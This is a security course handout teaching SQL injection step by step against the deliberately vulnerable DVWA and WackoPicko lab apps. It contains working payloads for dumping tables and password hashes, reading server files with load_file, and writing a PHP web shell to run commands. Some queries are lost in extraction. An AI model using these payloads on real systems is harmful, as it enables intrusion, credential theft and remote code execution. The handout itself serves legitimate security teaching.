Week 3 - SQL Injection
Week 3 - SQL Injection
.
+ Contents
1 Introduction.........................................................................................................................................1
1.1 What is SQL Injection?.................................................................................................................1
1.2 Possible Ramifications of SQL Injection.......................................................................................1
2 SQL Injection in Damn Vulnerable Web App.......................................................................................2
2.1 Setting up the Simple SQL injection with low level security........................................................2
2.2 Examine the PHP Source Code.....................................................................................................3
2.3 Simple numeric entry...................................................................................................................4
2.4 Check for handling of quotes.......................................................................................................5
2.5 Simple SQL “OR” injection:..........................................................................................................6
2.6 Finding the number of columns in the query...............................................................................7
2.7 Guessing field names in a database.............................................................................................7
2.8 Finding table names in a database...............................................................................................8
2.9 Find the first character in the database name : -.........................................................................9
2.10 Finding the table names..............................................................................................................9
2.11 Finding the SQL Version.............................................................................................................10
2.12 Find the current database user:.................................................................................................10
2.13 List the password hashes:..........................................................................................................10
2.14 Reading arbitrary files:...............................................................................................................11
2.15 Writing arbitrary files:................................................................................................................12
2.16 Remote Code execution:............................................................................................................12
3 Major exercise - Investigating WackoPicko........................................................................................14
.
.
1 INTRODUCTION
1.1 WHAT IS SQL INJECTION?
SQL injection is an attack technique that exploits a security vulnerability occurring in the code a web
application. Injections can be used to obtain unauthorised access to the underlying data, structure, and
DBMS. It is currently one of the most common web application vulnerabilities. There are two types of
SQL injection: -
1. Plain
2. Blind
Blind SQL injection is similar to plain SQL Injection except that when an attacker attempts to exploit an
application, rather then getting a useful error message, they get a generic page specified by the
developer. This makes exploiting a potential SQL Injection attack slightly more difficult.
Note: - It is recommended that you copy and paste the SQL queries directly from this handout.
1|Page
2 SQL INJECTION IN DAMN VULNERABLE WEB APP
DVWA is a Web application security teaching platform written by Ryan Dewhurst. It is an excellent
starting point for learning the basics.
2.1 SETTING UP THE SIMPLE SQL INJECTION WITH LOW LEVEL SECURITY
Damn Vulnerable Web Application (DVWA) has three different security settings. These correspond
to: -
We can see that the database name is DVWA and also there are tables named “users” and
“guestbook”
We can also see the values in the users database (the passwords are MD5 hashed).
Browse to http://192.168.1.100/dvwa/login.php
2|Page
Ensure that Security Level is set to Low
The next section will examine the menu option SQL injection.
This simulates the situation where the user simply enters a numeric user ID. This section is useful in that
it shows how simple SQL injection works. We will build up from the simple cases to doing more complex
injection commands.
Browse to http://192.168.1.100/filemanager/filemanager.php?p=
You will see the PHP source code that runs for High, Medium and Low security.
Examine low.php and you should see that there is no input filtering (see below).
3|Page
$id = $_GET['id'];
We can see that no attempt has been made to secure the code.
The files can also be viewed from the web page using the View Source button that has been added.
Back in Firefox, hit the View Source button (at the bottom right hand side of the page).
Note that the code that runs in DVWA can be viewed at any time using this method.
By viewing the PHP file, we can see that the SQL query that will run is
Note: The View Source window also has a Compare button at the left hand bottom of the screen. This
will show the low/medium/high source code.
Enter an ID of 1
4|Page
This gives an output of: -
ID: 1
First name: admin
Surname: admin
This means that the executed SQL query can obtained by substituting 1 for $id
Tutorial
Try entering simple values in the text box.
Enter
O'Malley
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version
for the right syntax to use near 'Malley'' at line 1
We can see that everything after the single quote is being treated as a SQL request. Entering O'Malley
means that there are unclosed single quotes resulting in the error.
5|Page
2.5 SIMPLE SQL “OR” INJECTION:
We will first try a simple OR injection query. Note that -- indicates comment in MySQL and the ; means
end of line. The basic aim is to try to craft a value of $id that will ignore the real value and do a “1=1”.
This is useful when attacking a username/password combination where we want the query to essentially
ignore the password.
' OR 1=1;--
This should dump the entire database - which is a little unusual (if you examine the source code, you will
see that it loops around with all results).
SELECT first_name, last_name FROM users WHERE user_id = 'a' OR '1=1';-- '
Tutorials
Other queries that dump the database are shown below. Build the SQL queries to show how they
function and write them underneath. Note the SQL query is the following: -
a' OR ''='
…………………………………………………………………………………….
a' OR 'x'='x';#
…………………………………………………………………………………….
' OR '1=1';--
…………………………………………………………………………………….
6|Page
2.6 FINDING THE NUMBER OF COLUMNS IN THE QUERY
When attacking, it can be useful to find the number of columns in the query (in this case there are two
first_name and last_name). This can be achieved by using the SQL Command ORDER BY.
It is a simple case of increasing the column number to order by and wait for an error. The SQL query we
are trying to build is similar to the following : -
SELECT first_name, last_name FROM users WHERE user_id = 'a' ORDER BY 1;#''
Try entering the following. The first two of the following will do nothing. The third one will give an error.
' ORDER BY 1#
' ORDER BY 2#
' ORDER BY 3#
You should see no error in the first two commands because the query has functioned correctly.
The error on the last command indicates that there are only two columns in the query. Since there are
two columns (first_name and last_name), the first two queries do not produce an error and it is
impossible to ORDER by column 3.
Enter
Enter
7|Page
The resulting query was :-
This gives no error indicating that the command has been successful. The query effectively shows that
first_name is not NULL (i.e. it is “something”).
Try
Using this same technique, it may be possible to find the value of other fields (passwords, email
addresses…etc)? In more secure scenarios, we may wish to find user names. The SQL LIKE command
allows us examine the database by finding LIKE’s to a character (e.g. character P). Note that the % means
wildcard.
Tutorial
Experiment to try to find other user names.
Try
This indicates that there is no table named test. The syntax of the query is as follows: -
8|Page
We are using the tablename.columnname format to help guess the table name. If we guess an
incorrect table name we will get an error. If, however, we have guessed the correct table name, the
query should not have an error.
The above technique can be used to get each letter e.g. try D then “V%” etc... We now know that the
database is named DVWA.
SELECT first_name, last_name FROM users WHERE user_id = ‘' UNION SELECT
table_schema, table_name FROM information_schema.tables WHERE
table_schema LIKE 'dvwa’
This should give the database name and the database tables. Note: - all tables are dumped in this case
because of the loop in the PHP code.
9|Page
2.11 FINDING THE SQL VERSION
It is often useful to find the version of MySQL that is being used (syntax variations and limitations etc
exist with different versions). This SQL query returns the version:-
SELECT first_name, last_name FROM users WHERE user_id = '' UNION ALL
SELECT 1, @@version #
SELECT first_name, last_name FROM users WHERE user_id = '' UNION ALL
SELECT system_user(),user() #
SELECT first_name, last_name FROM users WHERE user_id = '' UNION SELECT
user, password FROM dvwa.users #
10 | P a g e
i.e. enter the following : -
This will hopefully display the MD5 password hashes that can then be cracked with Cain, John the Ripper
or other password crackers. We will show how this can be achieved later in the handout.
Note: - Many, many databases contain unhashed passwords – this is very poor practice. If a hacker
gets “in”, they have ALL the passwords.
SELECT first_name, last_name FROM users WHERE user_id = ' UNION SELECT
load_file('/var/www/dvwa/.htaccess'), '1
This should show us the .htaccess file which is the Apache Web Server configuration file. We could also
read any file that the SQL server has read rights to. There may be files such as .htpasswd, or some other
file that contains sensitive information. PHP files that access a SQL database will often have the
database password listed in the file. SQL injection will also allow us to view the .php file without the php
first being interpreted by the server.
This works without error, but there is nothing printed to the screen.
Now view the page source however, you should find the file contents.
11 | P a g e
2.15 WRITING ARBITRARY FILES:
The ability to write files to the server means that an attacker can write web pages (e.g. deface the web
site) or even inject code files on to the server that they can access from a web browser (or other client).
The following will create a file on the server.
SELECT first_name, last_name FROM users WHERE user_id = ' UNION SELECT '',
'<?PHP system($_GET["cmd"]); ?>' INTO OUTFILE
'/var/www/dvwa/temp/shell.php';#
http://192.168.1.100/dvwa/shell.php?cmd=ls
12 | P a g e
We have just run a command on the remote server. We can run any linux command. From here we
could download and run files (backdoor, keylogger, etc.), change system settings, stop firewalls, stop
anti-virus, add system users, etc.
Note: this is only a simple shell. More powerful shells can be injected.
13 | P a g e
3 MAJOR EXERCISE - INVESTIGATING WACKOPICKO
Wackopicko (http://192.168.1.100/WackoPicko/users/login.php) has a SQL injection vulnerability. Use
the vulnerability to dump all the usernames and passwords.
14 | P a g e